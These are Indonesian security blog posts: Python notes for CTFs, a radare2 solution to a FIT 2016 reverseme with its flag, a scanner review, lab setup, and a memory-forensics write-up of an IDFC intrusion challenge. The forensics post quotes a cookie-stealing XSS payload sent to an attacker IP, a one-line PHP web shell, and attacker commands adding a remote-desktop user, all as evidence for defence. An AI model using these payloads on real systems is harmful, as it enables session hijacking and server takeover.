Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Tuesday 10 May 2016

Python for Fun

Berangkat dari pengalaman pribadi membuat program sederhana untuk bermain di CTF, akhirnya saya berniat untuk mendokumentasikan beberapa library yang berguna atau mungkin sering digunakan dalam permainan ini. Itung-itung untuk catatan pribadi agar tidak berceceran di desktop saya. Semua yang saya tulis disini akan di update seiring dengan berjalannya waktu, karena soal CTF sangat variatif dan berbeda-beda disetiap eventnya. So, langsung saja disimak dan mulai menulis code.

Daftar Isi:
String Operation
Regular Expression

String Operation

Pengolahan string merupakan hal yang banyak dilakukan, terutama dalam mengolah input. Mulai dari slice, split, reverse, up/lowercase, dll. Berfungsi untuk mengolah input sesuai dengan format yang diinginkan.
Slice
>>> kata = 'halo dunia'
#nyomot huruf melalui index
>>> kata[0]
'h'
>>> kata[2]
'l'
>>> kata[-1]
'a'

#memotong string, format string[start:end]
>>> kata[:2]
'ha'
>>> kata[:-2]
'halo dun'
>>> kata[-2:]
'ia'
>>> kata[-8:]
'lo dunia'
>>> kata[2:8]
'lo dun'

#reverse string
>>> kata[::-1]
'ainud olah'

#split string, memisahkan string dalam kalimat menjadi array
#contoh, memisahkan string kata dengan pembatas spasi
>>> kata = 'halo dunia'
>>> kata.split()
['halo', 'dunia']

#memisahkan string dengan delimiter '/'
>>> 'potong/potong/kata'.split('/')
['potong', 'potong', 'kata']

#Uppercase
>>> kata = 'Halo Dunia'
>>> kata.upper()
'HALO DUNIA'

#lowercase
>>> kata = 'Halo Dunia'
>>> kata.lower()
'halo dunia'

Regular Expression

Regular expression (regex)merupakan fungsi yang sangat berguna untuk pencarian string/ pola huruf, atau bisa juga sebagai filter untuk menampilkan informasi yang kita cari. Contohnya, kita ingin mengumpulkan link yang ada dihalaman website, maka regex sangat berperan dalam kasus ini.
>>> import re
>>> urls = "visit http://www.crackatoa.id and then like us on the http://www.facebook.com"
>>> re.findall(r"http[^\.]+\.*[\w|\d]+\.\w{1,3}",urls)
['http://www.crackatoa.id', 'http://www.facebook.com']

Untuk latihan dapat menggunakan regex tester, http://myregexp.com/ 
Untuk regex cheatsheetnya:
http://www.rexegg.com/regex-quickstart.html
https://www.cheatography.com/davechild/cheat-sheets/regular-expressions/

5 λ .: 2016 Berangkat dari pengalaman pribadi membuat program sederhana untuk bermain di CTF, akhirnya saya berniat untuk mendokumentasikan beberapa lib...

Tuesday 22 March 2016

FIT 2016 reverseme

Kali ini kami akan membahas salah satu soal CTF FIT 2016 tentang reverseme, file dapat diunduh di link[soal]. Karena keterbatasan waktu, soal ini belum sempat dijawab, kami akan mencoba untuk mengupas cara untuk mendapatkan flag dengan menggunakan radare2.

Gambar 1 : start r2 debug mode
Dimulai dengan membuka reverseme menggunakan radare2 dalam debug mode dengan flag percobaan 12345678901234567890, mengapa flagnya seperti itu?, setelah kami telusuri panjang flag haruslah 20, ini terdapat pada fungsi main yang bisa anda jelajahi lebih lanjut, jalankan perintah 'aaa' untuk analyze dan 'afl' untuk melihat fungsi yang berada pada reverseme. Proses analisis akan kami mulai dengan fungsi main.

Gambar 2 : Analisis fungsi main
Jalankan perintah 'pdf @ main' untuk melihat code pada fungsi main, kemudain kami menemukan bagian yang menarik seperti pada gambar dibawah ini.

Gambar 3 : String flagnya benar!

Dimana sebelumnya terdapat pemanggilan fungsi memcmp. Maka kami mencoba menambahkan breakpoint pada alamat 0x00400813 dan melanjutkan proses debugging sampai ke breakpoint yang telah dibuat.

Gambar 4 : Breakpoint
Agar lebih mudah masuk ke mode visual dengan 'Vpp'.

Gambar 5 : RAX RCX
Perhatikan rax dan rcx sebelum pemanggilan memcmp, sama besarnya 0x14 atau 20 dalam desimal. Masih digambar yang sama nilai rax = 0x7ffd04336f94 dan rcx = 0x7ffd04336f60. Mari kita telusuri apa yang ada di alamat itu.

Gambar 6 : RAX RCX values
Jika diperhatikan pola rcx seperti tidak asing lagi, yaitu 12345678901234567890 setelah ditambah beberapa operasi jadilah seperti itu. Sementara rax merupakan string yang akan dibandingkan, yang kemungkinan adalah flagnya. Maka kita simpan nilai hex yang terdapat pada @ rax.

Gambar 7 : rax value
Simpan rangkaian hex '1d260b716f6e6d380b473a113a3b213e31444532' yang selanjutnya akan kita bedah menggunakan python.

Kemudian pertanyaan selanjutnya adalah ada operasi yang dilakukan sebelum masuk ke fungsi compare? jika sudah menemukan fungsi tersebut maka key ini dapat didecrypt dengan mudah.

Gambar 8 : Fungsi encrypt

Jika ditelusuri ('VV @ main' pada radare) terdapat fungsi sebelum melakukan comparing, ternyata karakter tersebut diolah dengan operasi xor 0x55 kemudian ditambahkan 0xa. Maka untuk mendapatkan fungsi deskripsinya operasi tersebut dibalik menjadi char chiper - 0xa kemudian di xor dengan 0x55. Kira-kira seperti ini pada python.

Gambar 9 : Flag
Setelah mendapat flag, mari kita verifikasi dengan cara memasukkan ke program reverseme.

Gambar 10 : Flag benar
Selamat, flagnya benar!

FIT2016{TheRedBaron}
5 λ .: 2016 Kali ini kami akan membahas salah satu soal CTF FIT 2016 tentang reverseme, file dapat diunduh di link[ soal] . Karena keterbatasan waktu, s...

Wednesday 2 March 2016

WebApp Security 101 : Vulnerability Scanner

Vulnerability scanner merupakan tools yang dirancang untuk mencari kelemahan pada apikasi, dalam konteks ini web application seperti SQL injection, XSS, CSRF, bruteforce, dll. Ada berbagai macam web vulnerability scanner baik yang gratis maupun berbayar, yang dibedakan berdasarkan fiturnya. Dengan menggunakan vulnerability scanner kelemahan pada website dapat dilihat secara cepat. Namun, bukan berarti dengan menjalankan scanner website tersebut sudah aman, karena scanner ini hanya menjalankan/mencari vuln yang sudah umum dan biasa. Adakalanya untuk perlu pengecekan secara manual agar temuan dapat dinyatakan benar-benar valid. Bahkan dibeberapa kondisi seperti kompetisi CTF maupun bugbounty, scanner dilarang digunakan karena akan membanjiri server dengan traffic yang padat. Tetapi, untuk pengetesan, scanner sangat membantu dalam melihat seberapa baik keamanan website secara keseluruhan.

Berikut ini, kami mencoba untuk review beberapa tools web vulnerability scanner yang didapatkan secara gratis. Umumnya versi gratis tidak dilengkapi dengan fitur reporting yang mempermudah untuk membuat laporan, karena sudah disediakan template dari tools tersebut.

Kelengkapan yang perlu disiapkan:
- VM berisi server baik Windows/Linux (dapat digunakan sesuai selera)
- Web service Apache/NginX/etc lengkap dengan database
- Vuln web app (dalam kasus ini menggunakan DVWA)
 
Vega Vulnerability Scanner

Tool yang pertama kami coba adalah Vega, tersedia versi free, dibeberapa distro pentest seperti Kali disediakan secara default. Penggunaan cukup mudah karena disediakan GUI untuk menjalankan scan. Untuk yang pertama kali mencoba pun, kami rasa tidak akan kesulitan karena tidak banyak yang perlu diset, hanya informasi seperti IP target / nama domain, cookies, dll. Sayangnya tidak dilengkapi dengan fitur reporting, Namun, disediakan summary dari scanning yang telah dijalankan.


Secara singkat, Vega memberikan summary yang dibagi kedalam beberapa level (high, medium, low, dan info).


Selain itu, Keterangan yang diberikan mengenai temuan juga bisa dibilang lengkap. Mulai dari impact yang ditimbulkan page mana yang vulnerable, sampai referensi yang bisa user telusuri.


ZAP merupakan tool yang dibuat oleh OWASP yang bisa digunakan untuk web vulnerability scanner. Selain mudah digunakan, ZAP juga dilengkapi dengan fitur generate report yang sangat membantu untuk pembuatan laporan. Seperti namanya'Proxy', sudah dilengkapi dengan proxy untuk menganalisis header HTTP.

Seperti Scanner yang lain, summary yang dibuat dilengkapi dengan level risk, vulnerability, serta dilengkapi beberapa referensi yang dapat dibaca.


Sementara itu, fitur reporting dapat diexport ke format html dan xml sehingga dapat direview secara keseluruhan melalui browser.


Itulah sedikit re view dari kami, sebenarnya masih banyak scanner lain baik yang gratis maupun berbayar. Apapun kemampuan yang scanner miliki, hasil dari scan perlu di-check ulang untuk memastikan vuln yang ada. 

Jika ada kritik dan saran, silahkan disampaikan.
5 λ .: 2016 Vulnerability scanner merupakan tools yang dirancang untuk mencari kelemahan pada apikasi, dalam konteks ini web application seperti SQL in...

Monday 29 February 2016

WebApp Security 101 : Membangun Lab

Dalam prakteknya, WebApp security membutuhkan lab untuk mencoba tools yang ada, dan tentu saja tidak bertentangan dengan hukum yang berlaku di Indonesia. Dengan adanya UU ITE yang berlaku Indonesia tentu tidak serta merta kita melakukan scanning/testing web milik orang tanpa izin dari pemiliknya. Maka dari itu, untuk mencegah hal yang tidak diinginkan, kita dapat membuat lab sendiri baik dalam bentuk fisik maupun virtual. Jika Anda memiliki perangkat fisik yang memadai, itu lebih baik. Namun, yang akan dibahas disini adalah membangun virtual lab yang kami yakin, komputer yang Anda punya masih bisa digunakan.

Untuk membangun virtual lab, Anda bisa menggunakan virtualbox, KVM, VMware, atau software virtualisasi apapun yang Anda kuasai. Berikut link downloadnya:

https://www.virtualbox.org/wiki/Downloads
http://www.linux-kvm.org/page/Downloads
https://www.vmware.com/products/player

Sementara untuk membangun web server, dapat menggunakan Apache, Nginx, dll. tergantung selera masing-masing, yang terpenting adalah mencari web application yang sengaja dibuat untuk latihan seperti:

DVWA, http://www.dvwa.co.uk/
OWASP Broken Web App, https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
bWAPP, https://sourceforge.net/projects/bwapp/files/bee-box/
webGOAT, https://github.com/jerryhoff/WebGoat.NET
* list lengkap bisa dilihat di http://www.amanhardikar.com/mindmaps/PracticeUrls.html

Kemudian untuk tools, yang biasanya digunakan adalah web proxy seperti BurpSuite, ZAProxy, dan proxy-proxy lainnya yang berguna untuk analisis HTTP header. Sementara untuk tools lainnya akan dibahas di post terpisah.


5 λ .: 2016 Dalam prakteknya, WebApp security membutuhkan lab untuk mencoba tools yang ada, dan tentu saja tidak bertentangan dengan hukum yang berlaku...

WebApp Security 101

Web application sudah merajalela sejak pertumbuhan internet yang fantastis. Sangat mudah bagi Anda untuk mencari informasi tentang vulnerability web application di internet karena sudah bukan menjadi rahasia umum. Seperti pada website OWASP yang khusus membahas web application security, baik dari segi vulnerability dan countermeasurenya. Untuk bulan Maret ini, crackatoa secara khusus untuk membahas web application security mulai dari tools, tehnik, dan trend web app security saat ini. Silahkan kirimkan saran dan kritik jika penulisan dirasa kurang, karena Tim Kami pun baru mengenal tentang dunia security. Semoga rencana ini berjalan lancar.

UPDATE :
5 λ .: 2016 Web application sudah merajalela sejak pertumbuhan internet yang fantastis. Sangat mudah bagi Anda untuk mencari informasi tentang vulnerab...

Saturday 13 February 2016

IDFC Forensic Challenge Jan 2016

Challenge ini diterbitkan oleh IDFC (Indonesian Digital Forensic Community) pada akhir januari 2016 di fans page resminya, kira-kira seperti ini benruk soalnya.

Jam baru menunjukkan pukul 09.30 dan baru saja anda selesai menyeduh secangkir kopi 
untuk memulai aktivitas perdana di kantor baru, tiba-tiba anda mendapatkan laporan 
dari salah seorang sysadmin dikantor cabang yang mengatakan bahwa salah satu servernya 
terindikasi telah disusupi hacker. Hal ini dia ketahui setelah ia curiga terdapat 
perubahan di dalam systemnya. Sysadmin tersebut tidak mengetahui secara pasti 
bagaimana hacker bisa menyusup kedalam servernya.

Anda sebagai satu-satunya security analyst di perusahaan tersebut ( yang baru saja 
direktrut dan sedang menjalani masa probation) dipanggil untuk datang ke kantor cabang 
untuk melakukan remediasi atas insiden tersebut. Tugas anda adalah :

1. Temukan celah yang terdapat di server tersebut dan bagaimana hacker dapat menyusup 
   ke dalam server tersebut
2. Temukan payloadnya.
3. Apakah perubahan yang telah dilakukan oleh hacker di server tersebut.
4. Apakah serangan ini dilakukan oleh orang dalam atau orang luar.
5. Apakah saran dan solusi anda agar serangan serupa tidak terjadi.

Kemampuan anda menyelesaikan insiden ini menentukan karir anda di perusahaan ini.

md5sum : 172f61f1b80cffd09705994f0f9df702
file : memdump.mem
https://mega.nz/#!1UpjkTab!RP_QeooLaxA7bixLxkHLIqhWKfQ9G_0M58NSUchRn68

File image yang diberikan berupa Image dari memory server tersebut, sedikit pengetahuan saya tentang digital forensic, bermodal workshop IDFC yang diadakan akhir tahun 2014, salah satu materinya memori forensic menggunakan volatility. Setelah saya googling, beberapa artikel mengarahkan saya ke tools lainnya yaitu rekall, yang memiliki mode interactive dan webconsole. Untuk artikel kali ini saya akan menggunakan volatility untuk mengumpulkan petunjuk yang ada.

Informasi image:

Informasi yang didapat server menggunakan sistem operasi Windows Vista/Win2008 dan informasi lainnya.

Mencari informasi service yang berjalan pada server:

Dari psscan, server ini ternyata digunakan sebagai web server, terdapat xampp yang berisi apache webserver, mysql, dan ftp server.

Informasi port yang terbuka:

Dari info netscan dan service yang berjalan serpertinya tidak ada yang "aneh", maka perlu dibuatkan timeline dari server:

Terdapat informasi yang menarik, dari iehistory terdapat indikasi serangan xss (reflected xss) yang diarahkan ke ip 192.168.56.102, dari link yang ada code
name=<script>document.location="http://192.168.56.102/?"+document.cookie;</script>  
mencoba untuk melakukan session hijacking dengan cara mencuri cookies dari localhost. Dengan modal ini perlu dilakukan penelurusan lebih lanjut tentang bagaimana & kapan  kejadian tersebut berlangsung.

Saya menemukan sebuah artikel yang membantu dalam penyusunan timeline yang lebih mudah untuk dibaca di link ini. Dari tutorial tersebut, terdapat 3 hasil dari plugin volatility yang disesuaikan dengan tanggal kejadian. Timeliner untuk melihat timeline, beberapa event yang tercatat berupa (iehistory, dlll), mftparser untuk melihat perubahan pada file (create, access, modified), dan shellbags.

$ mkdir timeline
$ volatility -f memdump.mem --profile=VistaSP2x86 timeliner --output=body --output-file=timeline/timeliner.txt
$ volatility -f memdump.mem --profile=VistaSP2x86 mftparser --output=body --output-file=timeline/mftparser.txt
$ volatility -f memdump.mem --profile=VistaSP2x86 shellbags --output=body --output-file=timeline/shellbags.txt
$ cd timeline
 
# satukan semua hasil dari volatility dan gunakan mactime untuk format tanggal yang mudah dibaca 
$ cat *.* >> timeline-body.txt<
$ mactime -b timeline-body.txt -d > timeline-mactime.txt  

Untuk lebih lengkapnya, file timeline-mactime.txt saya lampirkan di link ini. Pada file timeline-mactime.txt digunakan hanya untuk mengetahui kapan kejadian itu berlangsung, karena ini dari file tersebut tidak se-detail output dari perintah yang biasanya, maka diperlukan file pendukung lainnya untuk penyidikan lebih mendalam. Jika diperhatikan, kejadian yang menarik terjadi pada tanggal 2-3 september 2015 sebelum image ini diambil. Mari kita bahas kejadian tersebut.

2 Sept 2015:
Wed Sep 02 2015 13:04:40,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://192.168.56.102/favicon.ico PID: 816/Cache type ""URL "" at 0x25f7880"
Wed Sep 02 2015 13:05:05,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location=""http://192.168.56.102/?""+document.cookie;</script> PID: 816/Cache type ""URL "" at 0x25f8380"
Wed Sep 02 2015 13:05:05,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://192.168.56.102/?security=low; _ga=GA1.1.1982739354.1440366396; _gat=1; PHPSESSID=gt9jmpq3k9h0hbtrpiqgrj0nc0 PID: 816/Cache type ""URL "" at 0x25f8200"
*dalam UTC 2015-09-02 06:05:05 UTC+0000 
Kira-kira seperti ini kronologisnya, yang saya dapat berupa log [IEHISTORY] yaitu log browser internet explorer pada server tersebut. Seseorang (Administrator) browsing ke alamat 192.168.56.102 (line 1), yang ternyata web di alamat itu berisi link berupa XSS yang memanfaatkan celah XSS yang berada pada server si admin (line 2). Selanjutnya, tanpa sepengetahuan admin, cookies dari webnya telah dicuri dan diarahkan ke alamat 192.168.56.102(line 3).
Beberapa referensi mengenai XSS:
[1] https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
[2] http://excess-xss.com/
[3] https://www.owasp.org/index.php/Session_hijacking_attack

3 Sept 2015:
Thu Sep 03 2015 14:10:15,31,macb,---a-----------,0,0,62330,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\phpshell.php (Offset: 0x116f7800)"
*dalam UTC 2015-09-03 07:10:15 UTC+0000 
Terdapat indikasi ada yang mengakses file xampp\htdocs\DVWA\hackable\uploads\phpshell.php seperti yang diketahui direktori xampp\htdocs merupakan public folder yang diakses oleh web server milik xampp, sehingga sepertinya file ini diakses melalui web browser dari luar sana. Untuk melihat detail akses ke file tersebut dapat dilihat menggunakan volatility.
$ volatility -f memdump.mem --profile=VistaSP2x86 mftparser > mftparser.txt
file mftparser.txt yang lengkap dapat dilihat di link ini.
Thu Sep 03 2015 14:10:15,31,macb,---a-----------,0,0,62330,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\phpshell.php (Offset: 0x116f7800)"
*dalam UTC 2015-09-03 07:10:15 UTC+0000
Detail dari mftparser
***************************************************************************
MFT entry found at offset 0x116f7800
Attribute: In Use & File
Record Number: 62330
Link count: 1


$STANDARD_INFORMATION
Creation                       Modified                       MFT Altered                    Access Date                    Type
------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
2015-09-03 07:10:15 UTC+0000 2015-09-03 07:10:15 UTC+0000   2015-09-03 07:10:15 UTC+0000   2015-09-03 07:10:15 UTC+0000   Archive

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2015-09-03 07:10:15 UTC+0000 2015-09-03 07:10:15 UTC+0000   2015-09-03 07:10:15 UTC+0000   2015-09-03 07:10:15 UTC+0000   xampp\htdocs\DVWA\hackable\uploads\phpshell.php

$DATA
0000000000: 3c 3f 70 68 70 0a 73 79 73 74 65 6d 28 24 5f 47   <?php.system($_G
0000000010: 45 54 5b 22 63 6d 64 22 5d 29 3b 0a 0a 3f 3e      ET["cmd"]);..?>

***************************************************************************
Si penyerang mengupload file phpshell.php yang berisi command untuk berinteraksi dengan OS command. Berikut beberapa file yang di upload dan digunakan si penyerang, untuk detailnya dapat dilihat di mftparser.txt.
*dalam UTC 2015-09-03 07:10:15 UTC+0000
Thu Sep 03 2015 14:14:48,0,macb,---a-----------,0,0,62331,"[MFT FILE_NAME] xampp\htdocs\DVWA\WEBSHE~1.ZIP (Offset: 0x116f7c00)"
Thu Sep 03 2015 14:14:48,0,.acb,---a-----------,0,0,62331,"[MFT STD_INFO] xampp\htdocs\DVWA\WEBSHE~1.ZIP (Offset: 0x116f7c00)"
Thu Sep 03 2015 14:14:51,0,macb,-------------D-,0,0,62332,"[MFT FILE_NAME] xampp\htdocs\DVWA\WEBSHE~1 (Offset: 0x25c74000)"
Thu Sep 03 2015 14:14:51,0,macb,-------------D-,0,0,62332,"[MFT FILE_NAME] xampp\htdocs\DVWA\webshells (Offset: 0x25c74000)"
Thu Sep 03 2015 14:14:51,0,...b,---------------,0,0,62332,"[MFT STD_INFO] xampp\htdocs\DVWA\WEBSHE~1 (Offset: 0x25c74000)"
Thu Sep 03 2015 14:14:51,0,macb,---a-----------,0,0,62333,"[MFT FILE_NAME] xampp\htdocs\DVWA\WEBSHE~1\c99.php (Offset: 0x134b56f0)"
Thu Sep 03 2015 14:14:51,0,macb,---a-----------,0,0,62333,"[MFT STD_INFO] xampp\htdocs\DVWA\WEBSHE~1\c99.php (Offset: 0x134b56f0)"
Thu Sep 03 2015 14:14:51,31,..c.,---a-----------,0,0,62334,"[MFT FILE_NAME] xampp\htdocs\DVWA\webshell.php (Offset: 0x25c74800)"
Thu Sep 03 2015 14:14:57,0,mac.,---------------,0,0,12859,"[MFT STD_INFO] xampp\htdocs\DVWA (Offset: 0x5562c00)"
Thu Sep 03 2015 14:14:57,0,mac.,---------------,0,0,62332,"[MFT STD_INFO] xampp\htdocs\DVWA\WEBSHE~1 (Offset: 0x25c74000)"
Thu Sep 03 2015 14:14:57,31,..c.,---a-----------,0,0,62334,"[MFT STD_INFO] xampp\htdocs\DVWA\webshell.php (Offset: 0x25c74800)"
Thu Sep 03 2015 14:17:58,0,macb,-------------D-,0,0,62335,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\abc (Offset: 0x25c74c00)"
Thu Sep 03 2015 14:17:58,0,macb,-------------D-,0,0,62335,"[MFT STD_INFO] xampp\htdocs\DVWA\hackable\uploads\abc (Offset: 0x25c74c00)"
Thu Sep 03 2015 14:31:30,0,mac.,---------------,0,0,60268,"[MFT STD_INFO] xampp\htdocs\DVWA\hackable\uploads (Offset: 0x2a65e000)"
Thu Sep 03 2015 14:31:30,945,macb,---a-----------,0,0,62337,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\PHPSHE~1.PHP (Offset: 0x5cfe400)"
Thu Sep 03 2015 14:31:30,945,macb,---a-----------,0,0,62337,"[MFT FILE_NAME] xampp\htdocs\DVWA\hackable\uploads\phpshell2.php (Offset: 0x5cfe400)"
Thu Sep 03 2015 14:31:30,0,macb,---a-----------,0,0,62337,"[MFT FILE_NAME] xampp\tmp\phpA4DB.tmp (Offset: 0xd7c9340)"
Thu Sep 03 2015 14:31:30,945,macb,---a-----------,0,0,62337,"[MFT STD_INFO] xampp\htdocs\DVWA\hackable\uploads\PHPSHE~1.PHP (Offset: 0x5cfe400)"

Dari data diatas didapatkan,pada 2 sept 2015 si penyerang memanfaatkan celah xss yang ada pada website dan berhasil mendapatkan cookies sang admin yang digunakan untuk melakukan session hijacking, kemudian keesokan harinya 3 sept 2015, si penyerang mulai memasukkan/upload file berupa webshell tanpa sepengetahuan administrator.

------------------------------ Update ---------------------------------

Setelah berdiskusi dengan empu-nya soal, ternyata ada bukti yang terlewat. Buktinya berupa file pcap yang berisi trafik dari server tersebut untuk menemukan payload yang ada pada server. Informasi ini bisa di-extract dengan menggunakan bulk_extractor.

$ bulk_extractor -x all -e net -o out-bulk memdump.mem
Outputnya beberapa file berhasil di-extract ke folder out-bulk, untuk melihat trafik dari server tersevut terdapat file packets.pcap yang dapat dianalisis dengan menggunakan wireshark. Dengan filter tcp.stream eq 6 maka didapat data sebagai berikut:


Dari packet diatas, hacker meng-upload file php, yang jika dilihat dari kodenya, membuka port 4545 di server tersebut.

** Masih ada jawaban yang miss, dan sepertinya perlu banyak belajar lagi tentang memory forensik, so terima kasih untuk kawan-kawan IDFC.

Jawaban Soal:

1. Temukan celah yang terdapat di server tersebut dan bagaimana hacker dapat menyusup ke dalam server tersebut.
Wed Sep 02 2015 13:04:40,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://192.168.56.102/favicon.ico PID: 816/Cache type ""URL "" at 0x25f7880"
Wed Sep 02 2015 13:05:05,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location=""http://192.168.56.102/?""+document.cookie;</script> PID: 816/Cache type ""URL "" at 0x25f8380"
Wed Sep 02 2015 13:05:05,0,macb,---------------,0,0,0,"[IEHISTORY] explorer.exe->Visited: Administrator@http://192.168.56.102/?security=low; _ga=GA1.1.1982739354.1440366396; _gat=1; PHPSESSID=gt9jmpq3k9h0hbtrpiqgrj0nc0 PID: 816/Cache type ""URL "" at 0x25f8200"
Hacker memanfaatkan celah XSS pada alamat http://localhost/dvwa/vulnerabilities/xss_r/?name= , dengan membawa admin untuk membuka web di alamat 192.168.56.102 yang membuat admin mengakses code reflective XSS
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location=""http://192.168.56.102/?""+document.cookie;</script>  
sehingga hacker mendapatkan cookies sang admin untuk melancarkan session hijackin.

2. Temukan payloadnya.
xampp\htdocs\DVWA\WEBSHE~1.ZIP
xampp\htdocs\DVWA\WEBSHE~1\c99.php
xampp\htdocs\DVWA\webshells
xampp\htdocs\DVWA\webshell.php
xampp\htdocs\DVWA\hackable\uploads\PHPSHE~1.PHP 

3. Apakah perubahan yang telah dilakukan oleh hacker di server tersebut.
Berdasarkan informasi dari cmdscan, ada indikasi penambahan user dan enable remote desktop pada server ini
root@x250:~/Downloads/idfc# volatility -f memdump.mem --profile=VistaSP2x86 cmdscan
Volatility Foundation Volatility Framework 2.4
**************************************************
CommandProcess: csrss.exe Pid: 524
CommandHistory: 0x5a24708 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 17 LastAdded: 16 LastDisplayed: 16
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x2d8
Cmd #0 @ 0xe907c8: ipconfig
Cmd #1 @ 0xe91af8: cls
Cmd #2 @ 0xe91db0: ipconfig
Cmd #3 @ 0x5a34bd0: net user user1 user1 /add
Cmd #4 @ 0x5a34eb8: net user user1 root@psut /add
Cmd #5 @ 0x5a34c10: net user user1 Root@psut /add
Cmd #6 @ 0x5a24800: cls
Cmd #7 @ 0x5a34c58: net /?
Cmd #8 @ 0x5a34d88: net localgroup /?
Cmd #9 @ 0x5a34f48: net localgroup "Remote Desktop Users" user1 /add
Cmd #10 @ 0x5a34c70: net /?
Cmd #11 @ 0xe911b0: netsh /?
Cmd #12 @ 0xe907e8: netsh firewall /?
Cmd #13 @ 0xe91218: netsh firewall set service type = remotedesktop /?
Cmd #14 @ 0xe91288: netsh firewall set service type = remotedesktop enable
Cmd #15 @ 0xe91300: netsh firewall set service type=remotedesktop mode=enable
Cmd #16 @ 0xe91380: netsh firewall set service type=remotedesktop mode=enable scope=subnet
**************************************************
CommandProcess: csrss.exe Pid: 524
CommandHistory: 0x5a30950 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x7ec
Cmd #0 @ 0xe91970: netsh fireall set service type=remotedesktop mode=enable scope=subnet
Cmd #1 @ 0x5a17b58: netsh firewall set service type=remotedesktop mode=enable scope=subnet
Cmd #38 @ 0x5a30bc8:                 
Cmd #39 @ 0x5a24890: et.exe
Cmd #48 @ 0x5a24890: et.exe
Cmd #49 @ 0xe91af8: cls
**************************************************
CommandProcess: csrss.exe Pid: 524
CommandHistory: 0x5a30ad0 Application: httpd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x3bc

4. Apakah serangan ini dilakukan oleh orang dalam atau orang luar.
Dari ip yang tercatat 192.168.56.102 merupakan ip private, dapat disimpulkan hacker melakukan aksinya menggunakan PC yang berada dilingkungan perusahaan, soal pelaku orang dalam atau orang luar perlu bukti lain seperti log IDS dan bukti dari PC 192.168.56.102 karena bisa saja PC tersebut diremote dari luar kantor.

5. Apakah saran dan solusi anda agar serangan serupa tidak terjadi.
Untuk serangan dengan memanfaatkan celah XSS, penanganan yang paling sederhana adalah melakukan filter terhadap input user sehingga user tidak bisa memasukkan tag HTML. Berikut referensi pencegahan XSS.
[1] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
[2] http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/
5 λ .: 2016 Challenge ini diterbitkan oleh IDFC (Indonesian Digital Forensic Community) pada akhir januari 2016 di fans page resminya, kira-kira seper...
< >